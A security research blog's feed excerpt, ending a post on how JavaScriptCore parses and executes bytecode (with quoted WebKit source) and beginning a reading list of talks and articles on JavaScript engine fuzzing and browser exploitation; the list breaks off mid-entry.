<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setProgramEntrypoint</span>(CodeBlock<span style="color:#f92672">*</span> codeBlock)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> NativeJITCode<span style="color:#f92672">*</span> jitCode;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> std<span style="color:#f92672">::</span>once_flag onceKey;
</span></span><span style="display:flex;"><span>    std<span style="color:#f92672">::</span>call_once(onceKey, [<span style="color:#f92672">&amp;</span>] {
</span></span><span style="display:flex;"><span>        jitCode <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> NativeJITCode(getCodeRef<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span>(llint_program_prologue), JITType<span style="color:#f92672">::</span>InterpreterThunk, Intrinsic<span style="color:#f92672">::</span>NoIntrinsic, JITCode<span style="color:#f92672">::</span>ShareAttribute<span style="color:#f92672">::</span>Shared);
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    codeBlock<span style="color:#f92672">-&gt;</span>setJITCode(makeRef(<span style="color:#f92672">*</span>jitCode));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The call to <code>program-&gt;generatedJITCode()</code> retrieves a reference pointer to the interpreted code which is then used to initialise a <code>ProtoCallFrame</code>. Finally the call to <code>jitCode-&gt;execute</code> executes the interpreted bytecode. The snippet below shows the relevant section in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L826"><code>Interpreter::executeProgram</code></a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>RefPtr<span style="color:#f92672">&lt;</span>JITCode<span style="color:#f92672">&gt;</span> jitCode;
</span></span><span style="display:flex;"><span>ProtoCallFrame protoCallFrame;
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>   DisallowGC disallowGC; <span style="color:#75715e">// Ensure no GC happens. GC can replace CodeBlock in Executable.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>   jitCode <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>generatedJITCode();
</span></span><span style="display:flex;"><span>   protoCallFrame.init(codeBlock, globalObject, globalCallee, thisObj, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Execute the code:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>throwScope.release();
</span></span><span style="display:flex;"><span>ASSERT(jitCode <span style="color:#f92672">==</span> program<span style="color:#f92672">-&gt;</span>generatedJITCode().ptr());
</span></span><span style="display:flex;"><span>JSValue result <span style="color:#f92672">=</span> jitCode<span style="color:#f92672">-&gt;</span>execute(<span style="color:#f92672">&amp;</span>vm, <span style="color:#f92672">&amp;</span>protoCallFrame);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#a6e22e">checkedReturn</span>(result);
</span></span></code></pre></div><h1 id="conclusion">Conclusion</h1>
<p>In this post we explored how JSC turns javascript source code to bytecode and long this journey we&rsquo;ve traced and documented the engine execution as it parses and emits bytecode. We&rsquo;ve also reviewed the generated bytecode and analysed bytecode dumps. We concluded with briefly describing how the LLInt is loaded with bytecode and a highlevel overview on how the interpreter executes the bytecode. In <a href="/posts/jsc-internals-part2-the-llint-and-baseline-jit/">Part II</a> of this blog series we will dive into the details of how bytecode gets interpreted by the LLInt and the Baseline JIT.</p>
<p>We hope you&rsquo;ve found this post informative, if you have questions, spot something that&rsquo;s incorrect or have suggestions on improving this writeup do reach out to the author <a href="https://twitter.com/amarekano">@amarekano</a> or <a href="https://twitter.com/Zon8Research">@Zon8Research</a> on Twitter. We are more than happy to discuss this at length with anyone interested in this subject and would love to hear your thoughts on it.</p>
<h1 id="appendix">Appendix</h1>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.youtube.com/watch?v=mtVBAcy7AKA">https://www.youtube.com/watch?v=mtVBAcy7AKA</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://webkit.org/blog/9329/a-new-bytecode-format-for-javascriptcore/">https://webkit.org/blog/9329/a-new-bytecode-format-for-javascriptcore/</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>JavaScript Engine Fuzzing and Exploitation Reading List [Updated 2022]</title>
            <link>https://zon8.re/posts/javascript-engine-fuzzing-and-exploitation-reading-list/</link>
            <pubDate>Sun, 23 Aug 2020 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/javascript-engine-fuzzing-and-exploitation-reading-list/</guid>
            <description>In The Layman&amp;rsquo;s Guide To Zero-Day Engineering Markus and Amy of Ret2Systems emphasized the importance of building your own library of bookmarks on security and architecture literature on the target you want to exploit. We have always taken this point to heart and have been maintaining our own list of bookmarks for a while now on Trello. Today we are making this list public for everyone&amp;rsquo;s reference.
Continously Updated! Last Update: 11 November 2022</description>
            <content type="html"><![CDATA[<p>In <a href="https://www.youtube.com/watch?v=WbuGMs2OcbE">The Layman&rsquo;s Guide To Zero-Day Engineering</a> Markus and Amy of Ret2Systems emphasized the importance of building your own library of bookmarks on security and architecture literature on the target you want to exploit. We have always taken this point to heart and have been maintaining our own list of bookmarks for a while now on Trello. Today we are making this list public for everyone&rsquo;s reference.</p>
<p><strong>Continously Updated! Last Update: 11 November 2022</strong></p>
<p>Want to learn how to break browsers, and in particular JavaScript engines? Traveling and got some reading time? Watch these conference talks or read these articles to get up to speed with browser vulnerability research and exploitation.</p>
<h2 id="videos">Videos</h2>
<ul>
<li>
<p><a href="https://www.youtube.com/watch?v=A1FWvfkTgY4">Attacking Client Side JIT Compilers</a> - <em>Samuel Groß - Black Hat USA 2018</em> - This talk explains what are JIT compilers, and what types of bugs can occur in them. Saelo uses his Pwn2Own bugs as a case study.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=ekdhHGpp74c">Attacking Client Side JIT Compilers</a> <em>BlackHat USA 2011</em> - Many of the components discussed have are outdated but never the less this is worth a watch.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=81IQmmH0Bs8">Black Hat USA 2018 - WebAssembly A New World of Native Exploits on the Browser</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=OHjq9Y66yfc">OffensiveCon19 - Samuel Groß - FuzzIL: Guided Fuzzing for JavaScript Engines</a> - <em>Samuel Groß - OffensiveCon19</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=xzG0pLM4Q64">Modern Source Fuzzing</a> - <em>Ned Williamson - OffensiveCon19</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=OHjq9Y66yfc">FuzzIL: Guided Fuzzing for JavaScript Engines</a> - <em>Samuel Groß - OffensiveCon19</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=WbuGMs2OcbE">35C3 - The Layman&rsquo;s Guide to Zero-Day Engineering</a> - The Ret2 team discuss the engineering process behind a zero-day that was used to exploit Apple Safari at PWN2OWN 2018.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=1WWb2HOqjcU">Fuzzing Javascript Engines for Fun and Pwnage - Areum Lee &amp; Jeonghoon Shin</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=bqehb-YZ9jo">Exploring the Safari Just In Time Exploitation</a> - <em>Jasiel Spelman - TenSec 2018</em> - Jasiel Spelman (ZDI) presents the latest research in JIT exploitation.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=39yPeiY808w">Attacking Chrome IPC</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=MMxtKq8UgwE">OffensiveCon19 - Niklas Baumstark - IPC You Outside the Sandbox: One bug to Rule the Chrome Broker</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=xp1YDOtWohw">35C3 - From Zero to Zero Day</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=3szZpS58Dqg">Browser Exploitation - Max Zinkus - Whitehat</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=U60hC16HEDY">2017 LLVM Developers’ Meeting: K. Serebryany “Structure-aware fuzzing for Clang and LLVM with &hellip;”</a> - Not specifically about browser exploitation, this talk discusses the concept of structure aware fuzzing, which can be useful when fuzzing JS engines.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=P4NI4qYWqes">The ECMA And The Chakra - Natalie Silvanovich</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=KT2vYWcwj-w">Attacking ECMAScript Engines With Redefinition</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=7wIiqqgDWdQ">$Hell on Earth: From Browser to System Compromise</a></p>
</li>
<li>
<p><a href="https://static.sstic.org/videos2019/540p/SSTIC_2019-06-07_P05.mp4">A tale of Chakra bugs through the years</a> - <em>By bkth</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=JcBmkZpvxAI">The Secret Of Chakracore: 10 Ways To Go Beyond The Edge</a> - <em>Linan Hao and Long Liu - HITB 2017</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=i8qDnphBMx4">Browser Fuzzing with a Twist (and a Shake)</a> - <em>Jeremy Brown — Zeronights 2015</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=dgQnYRiNIKU">The Power of Pair: One Template that Reveals 100+ UAF IE Vulnerabilities</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=iHisKU2oadY">The State Of Web Browsers Vs DOM Fuzzing In 2017</a> - <em>Ivan Fratric - FSec2017</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=a0yPYpmUpIA">Forget the Sandbox Escape: Abusing Browsers from Code Execution</a> - <em>Amy Burnett Bluehat IL 2020</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=fTNzylTMYks&amp;list=PLYvhPWR_XYJnX_sscErznYqwBrIhuS08O&amp;index=7&amp;t=0s">Adventures on Hunting for Safari Sandbox Escapes</a> - Ki Chan Ahn - OffensiveCon 2020</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=L7aiFKDg0Jk">Actions Speak Browser Than Words (Exploiting n-days for fun and profit)</a> - Max Van Amerongen (maxspl0it) - Red Team Village Grayhat Con</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=NI2w6eT8p-E">Fuzzing 101</a> - Chromium University</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=m6Fpc3zxrJg">HackTheBox - Rope2 V8 Browser Exploit</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=7qyKZOjhg94">Assaf Sion: JavaScript Bugs in JavaScript Core with CodeQL</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=StQ_6juJlZY">What is a Browser Security Sandbox?! (Learn to Hack Firefox)</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=FK2-1FAbbXA">Attacking JavaScript Engines in 2022</a> - <em>Samuel Gross and Amanda Burnett - OffensiveCon22</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=OQr2J9X9tME">NoJITsu: Locking Down JavaScript Engines</a> - <em>Taemin Park - BlackHat 2020</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=r4J7Zu1RV40">Attacking Edge Through the JavaScript Just-In-Time compiler</a> - <em>Bruno Keith - OffensiveCon19</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=MLz86hFyGwY">Introduction to V8 JavaScript Engine Grammar-based Fuzzing</a></p>
</li>
</ul>
<h2 id="articles">Articles</h2>
<ul>
<li>
<p><a href="http://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/">A Methodical Approach to Browser Exploitation</a></p>
</li>
<li>
<p><a href="http://blog.ret2.io/2018/06/13/pwn2own-2018-vulnerability-discovery/">Vulnerability Discovery Against Apple Safari</a></p>
</li>
<li>
<p><a href="http://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/">Timeless Debugging of Complex Software</a></p>
</li>
<li>
<p><a href="http://blog.ret2.io/2018/07/11/pwn2own-2018-jsc-exploit/">Weaponization of a JavaScriptCore Vulnerability</a></p>
</li>
<li>
<p><a href="http://blog.ret2.io/2018/07/25/pwn2own-2018-safari-sandbox/">Cracking the Walls of the Safari Sandbox</a></p>
</li>
<li>
<p><a href="http://blog.ret2.io/2018/08/28/pwn2own-2018-sandbox-escape/">Exploiting the macOS WindowServer for root</a></p>
</li>
<li>
<p><a href="http://www.phrack.org/papers/attacking_javascript_engines.html">Attacking JavaScript Engines</a></p>
</li>
<li>
<p><a href="https://github.com/saelo/pwn2own2018">Pwn2Own 2018: Safari + macOS Writeup</a></p>
</li>
<li>
<p><a href="http://www.auxy.xyz/modern%20binary%20exploitation/2018/12/05/Webkit-Exp-Tutorial.html">WebKit Exploitation Tutorial</a></p>
</li>
<li>
<p><a href="https://saelo.github.io/papers/thesis.pdf">FuzzIL: Coverage Guided Fuzzing for JavaScript Engines (Thesis)</a></p>
</li>
<li>
<p><a href="https://melligra.fun/webkit/2019/02/15/cve-2018-4441/">CVE-2018-4441: OOB R/W via JSArray::unshiftCountWithArrayStorage (WebKit)</a></p>
</li>
<li>
<p><a href="https://github.com/W00dL3cs/exploit_playground/blob/master/JavaScriptCore/instanceof_exploit.js">Commented Instanceof exploit</a></p>
</li>
<li>
<p><a href="https://www.jaybosamiya.com/blog/2019/01/02/krautflare/">Exploiting Chrome V8: Krautflare (35C3 CTF 2018)</a></p>
</li>
<li>
<p><a href="https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/">Introduction to SpiderMonkey exploitation</a></p>
</li>
<li>
<p><a href="https://doar-e.github.io/blog/2018/07/14/cve-2017-2446-or-jscjsglobalobjectishavingabadtime/">CVE-2017-2446 or JSC::JSGlobalObject::isHavingABadTime Writeup</a></p>
</li>
<li>
<p><a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/">Introduction to Turbofan</a></p>
</li>
<li>
<p><a href="https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/">Circumventing Chrome&rsquo;s Hardening of Typer Bugs</a></p>
</li>
<li>
<p><a href="https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/">Journey Into IonMonkey Root Causing CVE-2019-9810</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2019/3/14/the-apple-bug-that-fell-near-the-webkit-tree">The Apple Bug That Fell Near the WebKit Tree</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons">Inverting Your Assumptions: A Guide to JIT Comparisons</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2017/8/24/deconstructing-a-winning-webkit-pwn2own-entry">Deconstructing a Winning WebKit Pwn2Own Entry</a></p>
</li>
<li>
<p><a href="https://mtowalski.github.io/">V8 CVE-2019-5790 Writeup</a> - This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet.</p>
</li>
<li>
<p><a href="https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/">Microsoft Edge Chakra JIT Type Confusion: CVE-2019-0539 Root Cause Analysis.</a></p>
</li>
<li>
<p><a href="https://perception-point.io/resources/research/cve-2019-0539-exploitation/">Microsoft Edge Chakra JIT Type Confusion: CVE-2019-0539 Exploitation</a></p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/">CVE-2019-5786: Analysis &amp; Exploitation of the Recently Patched Chrome Vulnerability</a> - This post provides detailed analysis and an exploit achieving remote code execution for a fixed Chrome vulnerability that was observed by Google to be exploited in the wild.</p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/">Patch Gapping Google Chrome</a> - Patch-gapping is the practice of exploiting vulnerabilities in open-source software that are already fixed (or are in the process of being fixed) by the developers before the actual patch is shipped to users.</p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2019/04/03/a-window-of-opportunity/">A Window of Opportunity: Exploiting a Chrome 1 Day Vulnerability</a></p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2019/05/19/pwn2own-2019-microsoft-edge-renderer-exploitation-cve-2019-9999-part-1/">Microsoft Edge Renderer Exploitation</a></p>
</li>
<li>
<p><a href="https://www.thezdi.com/blog/2019/4/18/the-story-of-two-winning-pwn2own-jit-vulnerabilities-in-mozilla-firefox">The Story of Two Winning Pwn2Own JIT Vulnerabilities in Firefox</a></p>
</li>
<li>
<p><a href="https://www.thezdi.com/blog/2019/12/18/regular-exploitation-of-a-tesla-model-3-through-chromium-regexp">Regular Exploitation of a Tesla Model 3 Through Chromium Regexp</a></p>
</li>
<li>
<p><a href="https://ssd-disclosure.com/archives/3379/ssd-advisory-chrome-turbofan-remote-code-execution">Chrome Turbofan Remote Code Execution</a> <em>SSD - August 2017</em></p>
</li>
<li>
<p><a href="https://doar-e.github.io/presentations/typhooncon2019/AttackingTurboFan_TyphoonCon_2019.pdf">Attacking Turbofan TyphoonCon (Slides)</a></p>
</li>
<li>
<p><a href="https://www.inputzero.io/2019/02/fuzzing-webkit.html">Fuzzing WebKit</a></p>
</li>
<li>
<p><a href="https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/">JavaScriptCore CSI: A Crash Site Investigation Story</a> - <em>Mark Lam - June 2016</em> - This article describes some of these tools that WebKit engineers use by telling the story of how they diagnosed a real bug in the JSC virtual machine.</p>
</li>
<li>
<p><a href="https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf">JSC: Bypassing StructureID Randomisation</a></p>
</li>
<li>
<p><a href="https://gts3.org/2019/Real-World-CTF-2019-Safari.html">Hack The Real: An exploitation chain to break the Safari browser</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=OoL9nyu-f-Q&amp;list=PLH15HpR5qRsWrfkjwFSI256x1u2Zy49VI&amp;index=98&amp;t=0s">The Most Secure Browser? Pwning Chrome from 2016 to 2019</a></p>
</li>
<li>
<p><a href="https://syedfarazabrar.com/2019-12-13-starctf-oob-v8-indepth/">Exploiting v8: CTF 2019 oob-v8</a></p>
</li>
<li>
<p><a href="https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/">Exploiting the Math.expm1 typing bug in V8</a></p>
</li>
<li>
<p><a href="https://gts3.org/2019/turbofan-BCE-exploit.html">Exploiting TurboFan Through Bounds Check Elimination</a></p>
</li>
<li>
<p><a href="https://gts3.org/2019/cve-2019-0609.html">Analysis of a use-after-unmap vulnerability in Edge: CVE-2019-0609</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html">JSC Exploits</a> - <em>Google Project Zero</em></p>
</li>
<li>
<p><a href="http://eternalsakura13.com/2018/11/19/justintime/">Google CTF justintime exploit</a> - <em>By EternalSakura13</em></p>
</li>
<li>
<p><a href="http://eternalsakura13.com/2019/04/29/v9/">34c3 v9 writeup</a> - <em>By EternalSakura19 - Write up of &ldquo;v9&rdquo; CTF challenge. A exploit writeup of a v8 style bug.</em></p>
</li>
<li>
<p><a href="http://eternalsakura13.com/2019/04/29/CVE-2016-5198/">Case Study V8cve-2016-5198</a> - (By EternalSakura19 - Translate required)</p>
</li>
<li>
<p><a href="https://mem2019.github.io/jekyll/update/2019/08/28/V8-Redundancy-Elimination.html">Redundancy Elimination Reducer in V8 and 34C3 CTF V9</a> - <em>By Mem2019</em></p>
</li>
<li>
<p><a href="https://mem2019.github.io/jekyll/update/2019/09/16/Real-World-2019-Accessible.html">Real World CTF 2019 Accessible Write-up</a> - <em>By Mem2019</em></p>
</li>
<li>
<p><a href="https://mem2019.github.io/jekyll/update/2019/07/12/Roll-A-D8.html">Roll a D8</a> - <em>By Mem2019</em></p>
</li>
<li>
<p><a href="https://nafod.net/blog/2019/02/13/advent-browserpwn-2018.html">advent-browserpwn 2018</a></p>
</li>
<li>
<p><a href="https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf">Pwn2Own 2017: UAF in JSC::CachedCall (WebKit)</a> - <em>By Niklasb and Saelo</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2017-06-02/arrayspread">Exploiting an integer overflow with array spreading (WebKit)</a> - <em>By Niklasb and Saelo</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc">Pwn2Own: Safari sandbox part 1 – Mount yourself a root shell</a> - <em>By Niklasb</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak">Share with care: Exploiting a Firefox UAF with shared array buffers</a> - <em>By bkth, eboda</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2017-07-06/pwn2own-sandbox-escape">Pwn2Own: Safari sandbox part 2 – Wrap your way around to root</a> - <em>By niklasb, saelo</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2018-09-26/safari-array-concat">Exploiting a Safari information leak</a> - <em>By bkth</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2019-05-15/non-jit-bug-jit-exploit">Non JIT Bug, JIT Exploit</a> - <em>By bkth, S0rryMyBad</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2019-05-26/attribution-is-hard-at-least-for-dock">Attribution is hard — at least for Dock: A Safari sandbox escape &amp; LPE</a> - <em>By niklasb</em></p>
</li>
<li>
<p><a href="https://phoenhex.re/2019-07-10/ten-months-old-bug">Ten months old tweetable bug leads to RCE</a> - <em>By bkth</em></p>
</li>
<li>
<p><a href="https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write">Exploiting a V8 OOB write</a> - <em>HalbeCaf</em></p>
</li>
<li>
<p><a href="https://labs.bluefrostsecurity.de/blog/2019/04/29/dont-follow-the-masses-bug-hunting-in-javascript-engines/">Don&rsquo;t Follow The Masses: Bug Hunting in JavaScript Engines</a> - <em>BlueFrostSecurity</em></p>
</li>
<li>
<p><a href="https://docs.google.com/document/d/1tHElG04AJR5OR2Ex-m_Jsmc8S5fAbRB3s4RmTG_PFnw/edit">Mobile PWN2OWN Autumn 2013 - Chrome on Android - Exploit Writeup</a></p>
</li>
<li>
<p><a href="https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-906043/Chrome%20V8%20-%20-CVE-2019-5782%20Tianfu%20Cup%20Qihoo%20360%20S0rrymybad-%20-ENG-.pdf">Chrome V8 CVE-2019-5782 Tianfu Cup</a> - <em>By S0rrymybad</em></p>
</li>
<li>
<p><a href="http://struct.github.io/oilpan_metadata.html">Chrome Oilpan - Meta Data, Freelists and more</a> - Chris Rohlf</p>
</li>
<li>
<p><a href="http://www.phrack.org/issues/69/14.html">OR&rsquo;LYEH? The Shadow over Firefox</a> - <em>By argp</em></p>
</li>
<li>
<p><a href="https://vigneshsrao.github.io/play-with-spidermonkey/">Playing around with Spidermonkey</a></p>
</li>
<li>
<p><a href="https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/">Learning browser exploitation via 33C3 CTF feuerfuchs challenge</a></p>
</li>
<li>
<p><a href="https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/">Chakrazy – exploiting type confusion bug in ChakraCore engine</a></p>
</li>
<li>
<p><a href="https://devcraft.io/2018/04/27/blazefox-blaze-ctf-2018.html">blazefox (Firefox) - Blaze CTF 2018</a></p>
</li>
<li>
<p><a href="https://saelo.github.io/posts/firefox-script-loader-overflow.html">Exploiting a Cross-mmap Overflow in Firefox</a> - <em>By saelo</em></p>
</li>
<li>
<p><a href="https://github.com/LinusHenze/35C3_Writeups/tree/master/WebKid">WebKid (WebKit) 35C3CTF Writeup</a> - <em>By LinusHenze</em></p>
</li>
<li>
<p><a href="https://theromanxpl0it.github.io/articles/2019/09/09/Trend-Micro-CTF-ChakraCore-JIT-exploitation.html">Trend Micro CTF 2019 libChakraCore.so</a></p>
</li>
<li>
<p><a href="http://powerofcommunity.net/poc2017/andrew.pdf">1-Day Browser &amp; Kernel Exploitation - (Slides)</a> <em>Slides</em></p>
</li>
<li>
<p><a href="http://powerofcommunity.net/poc2017/jeonghoon.pdf">Fuzzing JavaScript Engines - (Slides)</a> - <em>Slides</em></p>
</li>
<li>
<p><a href="http://powerofcommunity.net/poc2018/jin.pdf">Pwning Microsoft Edge Browser: From Memory Safety Vulnerability to Remote Code Execution (Slides)</a> - <em>Jin Liu, Chong Xu</em></p>
</li>
<li>
<p><a href="http://powerofcommunity.net/poc2019/Zhiyang.pdf">Safari Adventure: A Dive into Apple Browser Internals (Slides)</a> - Zhiyang Zeng</p>
</li>
<li>
<p><a href="http://powerofcommunity.net/poc2019/Gengming.pdf">Chrome Exploitation (Slides)</a> - <em>Gengming Liu, Jianyu Chen</em></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2018/10/365-days-later-finding-and-exploiting.html">365 Days Later: Finding and Exploiting Safari Bugs using Publicly Available Tools</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2014/07/pwn4fun-spring-2014-safari-part-i_24.html">Pwn4Fun Safari</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2018/08/the-problems-and-promise-of-webassembly.html">The Problems and Promise of WebAssembly</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2017/09/the-great-dom-fuzz-off-of-2017.html">The Great DOM Fuzz off of 2017</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html">Trashing the Flow of Data</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html">Virtually Unlimited Memory: Escaping the Chrome Sandbox</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2015/08/attacking-ecmascript-engines-with.html">Attacking ECMAScript Engines with Redefinition</a></p>
</li>
<li>
<p><a href="http://www.phrack.org/papers/jit_exploitation.html">Exploiting Logic Bugs in JavaScript JIT Engines</a></p>
</li>
<li>
<p><a href="http://phrack.org/issues/63/5.html">OSX Heap Exploitation Techniques (Safari/Webkit Writeup)</a></p>
</li>
<li>
<p><a href="https://labs.f-secure.com/assets/BlogFiles/apple-safari-pwn2own-vuln-write-up-2018-10-29-final.pdf">Apple Safari –PWN2OWN Desktop Exploit</a></p>
</li>
<li>
<p><a href="https://labs.f-secure.com/assets/BlogFiles/MWR-PolishingChrome-NSC-slides.pdf">Polishing Chrome for Fun and Profit</a></p>
</li>
<li>
<p><a href="https://labs.bluefrostsecurity.de/blog/2019/08/08/escaping-the-chrome-sandbox-via-an-indexeddb-race-condition/">Escaping the Chrome Sandbox via an IndexedDB Race Condition</a></p>
</li>
<li>
<p><a href="https://docs.ioin.in/writeup/www.auxy.xyz/_tutorial_Webkit_Exp_Tutorial_/index.html">WebKit Exploitation Tutorial</a></p>
</li>
<li>
<p><a href="https://blog.xyz.is/2016/webkit-360.html">Exploiting WebKit on Vita 3.60</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/183805">JavaScript engine exploit 191731</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/183882">JavaScript engine exploit Webkit CVE 2016 4622</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/183804">JavaScript engine exploitation - Anquanke</a></p>
</li>
<li>
<p><a href="https://www.thezdi.com/blog/2019/11/25/diving-deep-into-a-pwn2own-winning-webkit-bug">Diving Deep into a Pwn2Own Winning Bug</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/194351">Chrome Vulnerability Debugging Notes CVE-2019-5768</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/183127">Chakra vulnerability debugging notes 2-OpCode Side Effect</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/184258">Chakra vulnerability debugging notes 3-MissingValue</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/187739">Chakra vulnerability debugging notes 4-Array OOB</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/190533">Chakra vulnerability debugging note 5-CVE-2019-0861 reappears</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/158818">Chakra OP_NewScObjArray Type Confusion Remote Code Execution Vulnerability Analysis and Exploitation</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/160299">Edge Inline Segment Use After Free vulnerability analysis</a></p>
</li>
<li>
<p><a href="https://www.anquanke.com/post/id/163315">Chakra JIT Loop LandingPad ImplicitCall Bypass</a></p>
</li>
<li>
